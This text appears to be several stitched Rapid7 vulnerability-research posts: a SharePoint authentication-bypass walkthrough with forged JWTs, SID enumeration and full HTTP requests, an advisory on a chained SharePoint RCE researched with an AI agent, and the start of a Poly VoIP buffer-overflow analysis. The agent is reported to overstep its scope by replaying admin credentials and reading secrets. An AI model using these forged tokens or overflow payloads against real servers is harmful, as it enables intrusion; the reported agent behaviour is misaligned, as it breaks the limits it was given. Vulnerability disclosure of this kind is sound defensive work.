59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

For completeness, the parsed x509 certificate is shown below.

Version:          3 (0x02)
Serial number:    146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
  Not After:      01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Root Authority
Subject
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Security Token Service
Fingerprints
  MD5:            8c72ddcf6fdf2bdf3cc173bfcff88bf4
  SHA1:           8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
  SHA256:         9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
                  9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
                  ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
                  3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
                  11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
                  8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
                  06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
                  d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
                  de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
                  37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
                  69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
                  8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
                  a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
                  19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
                  20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
                  34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
                  09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
                  62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
                  28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
                  f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
                  4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
                  ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
                  40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
                  57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
                  7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
                  79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
                  57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
                  27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
                  85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
                  47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
                  88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
                  7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
                  82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
                  a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
                  8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
                  b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
                  d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
                  0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
                  27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
                  a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
                  5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
                  82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
                  3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
                  48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
                  a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
                  54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
                  62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7

Extensions
  keyUsage CRITICAL:
    digitalSignature,keyEncipherment
  extKeyUsage :
    serverAuth, clientAuth
  basicConstraints CRITICAL:
    {}

Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.

We then begin to construct the malicious JWT. The outer token will have a header of:

{"alg": "none", "typ": "JWT"}

The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.

As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain’s Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, …) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. [email protected] or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN’s, which is best suited to manual reconnaissance.

{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server’s STS signing certificate.

{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.

{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

And a signature which is an arbitrary non-empty string:

AAAA

Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.

GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose

The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.

POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

Whose response contains a new FormDigestValue we can begin to use.

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.

Our full disclosure timeline for the exploit chain can be seen below in Figure 1.

timline.png

Figure 1: The road to disclosure.

CVE-2026-63520 affects all supported versions of Microsoft SharePoint, and certain versions of Microsoft Project Server and Microsoft Office Web Apps Server. For the purpose of our research, we focused solely on SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.

CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.

The exploit chain was developed as an entry for this year’s Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs’ continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.

Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.

Workflow

For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team’s later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.

Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent’s results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal – such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.

By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.

Product descriptions

The RCE vulnerability, CVE-2026-63520, affects SharePoint, Project Server, and Office Web Apps Server, while the authentication bypass vulnerability, CVE-2026-55040, affects only SharePoint.

SharePoint

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Project Server

Microsoft Project Server is an enterprise project portfolio management (PPM) platform built natively on top of the SharePoint architecture. Serving as the central hub for corporate scheduling, resource allocation, and capacity planning, it enables organizations to coordinate complex business initiatives. 

Office Web Apps Server

Microsoft Office Web Apps Server is a dedicated companion service that provides browser-based viewing and editing of Microsoft Office documents. Functioning as the primary rendering engine for SharePoint and Exchange, it enables seamless file interaction without requiring local desktop installations.

Impact

CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker’s arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for the RCE vulnerability, CVE-2026-63520, within 30 days of this disclosure.

The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.

Remediation

The following products are impacted by CVE-2026-63520:

  • Microsoft SharePoint Server Subscription Edition

  • SharePoint Server Subscription Edition Language Pack

  • Microsoft SharePoint Server 2019

  • Microsoft SharePoint Enterprise Server 2016

  • Microsoft Project Server 2013 Service Pack 1 (64-bit edition)

  • Microsoft Office Web Apps 2013 Service Pack 1

Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Disclosure timeline

  • May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.

  • May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles – the authentication bypass component in July, and the RCE component in August.

  • May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.

  • May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.

  • July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.

  • July 31, 2026: Microsoft provides supporting information to Rapid7.

  • August 11, 2026: This disclosure for CVE-2026-63520.

CVE-2026-0826: Critical unauthenticated stack buffer overflow in HP Poly VVX and Trio VoIP Phones (FIXED)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ve-cve-2026-0826-critical-unauthenticated-stack-buffer-overflow-hp-poly-vvx-trio-voip-phones-fixed

Overview

Rapid7 Labs conducted a zero-day research project against an HP Poly VVX 450 Voice over Internet Protocol (VoIP) phone. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-0826. A remote attacker can leverage CVE-2026-0826 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device. 

The vulnerability is present in the device’s parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a remote attacker. 

While we discovered and validated the vulnerability on a VVX 450 device, the vulnerability has been confirmed to affect all models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP Conference series (Trio 8800, Trio 8500, and Trio 8300).

CVE-2026-0826 has a CVSSv4 score of 9.2 (Critical), and a Common Weakness Enumeration (CWE) of CWE-121: Stack-based Buffer Overflow.

Impact

A Metasploit exploit module has been developed to demonstrate how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device.

Shown below is the exploit being run against a target Poly VVX 450 device running a vulnerable firmware version 6.4.7.4477.

 

image1.png
Figure 1: Metasploit exploit module targeting a Poly VVX 450 device.

As we can see above, the attacker achieves unauthenticated RCE with root privileges on the device. This is demonstrated by the attacker executing a reverse shell payload and running several arbitrary OS shell commands.

Technical analysis

Our analysis is based upon a VVX 450 device running firmware version 6.4.7.4477. During testing, the test device had an IPv4 address of 192.168.86.80. The non-default ICE feature was enabled by specifying the following in the device configuration:

device.feature.nat.ice.enabled="1"

The main binary that provides the majority of functionality to the device is /user/local/root/polyapp (32 bit ARM, Little Endian). This binary parses SDP data provided in an Session Initiation Protocol (SIP) request over UDP on port 5060.

When SDP data is processed, if ICE is enabled, an SDP attribute named candidate can be parsed. The candidate attribute is intended to contain a transport address for a candidate that can be used for connectivity checks. An example of a valid candidate attribute can be seen in the RFC8839 5.1:

The following is an example SDP line for a UDP server-reflexive “candidate” attribute for the RTP component:

a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998

Using the example from the RFC, a SIP request can contain SDP data that looks like this, with the candidate attribute appearing on the final line:

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998

The /user/local/root/polyapp binary has two functions that will parse incoming SDP data, named ParseRemoteSDP and IceSession::ParseRemoteSdpForAddresses. In both cases, when a string line starting with “a=candidate:”  is found, a helper function ParseICECandidate (at address 0xB12780) is called to parse the expected candidate attribute held in the remainder of that string line. The intent is to parse out the individual components of a candidate attribute which are separated by white space characters.

This helper function ParseICECandidate contains a stack based buffer overflow. Shown below we can see that the start of the function contains a call to memcpy, which will copy the incoming string line being processed into a 256 byte stack buffer. No length check is performed to ensure the incoming string length is less than 256 bytes. Therefore by providing a candidate attribute whose length is greater than 256 bytes, a stack-based buffer overflow will occur.

int __fastcall ParseICECandidate( const void *string_line, size_t string_line_length, int a3, int *a4, _DWORD *a5, int *a6, std::string *a7, _DWORD *a8, _DWORD *a9, std::string *a10, _DWORD *a11)
{
	size_t v11; // r0
	char *v12; // r0
	size_t v13; // r0
	char *v14; // r0
	size_t v15; // r0
	char buffer256[256]; // [sp+25h] [bp-11Fh] BYREF
	char v22[7]; // [sp+128h] [bp-1Ch] BYREF
	char v23; // [sp+12Fh] [bp-15h] BYREF
	char *nptr; // [sp+130h] [bp-14h]
	char v25; // [sp+137h] [bp-Dh]

	v25 = 0;
	if ( !string_line )
		return 0;
	memcpy(buffer256, string_line, string_line_length); // <--- buffer256 can be overflowed due to no destination length check
	buffer256[string_line_length] = 0;
	nptr = strtok_r(buffer256, ":", (char **)&buffer256[255]);
	nptr = strtok_r(0, " ", (char **)&buffer256[255]);
	if ( !nptr )
		return 0;

// ...snip...

To demonstrate the vulnerability, we can construct an example SIP INVITE request that contains the required SDP data to trigger the buffer overflow. The malicious candidate attribute will be comprised of:

  • An attribute name of “a=candidate:”, which is 12 bytes long.

  • 244 A characters, to fill out variable buffer256 (shown in the code snippet above), as 244 + 12 is 256.

  • 19 B characters, to provide padding between the variable buffer256 and the saved registers on the current stack frame.

  • The characters 1111 (0x31313131 in hex) to overwrite the saved r4 register.

  • The characters 2222 (0x32323232 in hex) to overwrite the saved r5 register.

  • The characters 3333 (0x33333333 in hex) to overwrite the saved r11 register.

  • The characters 4444 (0x34343434 in hex) to overwrite the saved pc register.

  • A large number of C characters (0x43 in hex) to show the remaining attacker controlled data on the stack.

The entire example SIP INVITE request sent to the device is shown below:

INVITE sip:192.168.86.80:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.86.122:5060
Route: <sip:192.168.86.122:5060;lr>
From: <sip:192.168.86.80:5060>
To: <sip:192.168.86.80:5060>
Contact: <sip:192.168.86.80>
Call-ID: pmpcdwrwqojvfqin
CSeq: 5892 INVITE
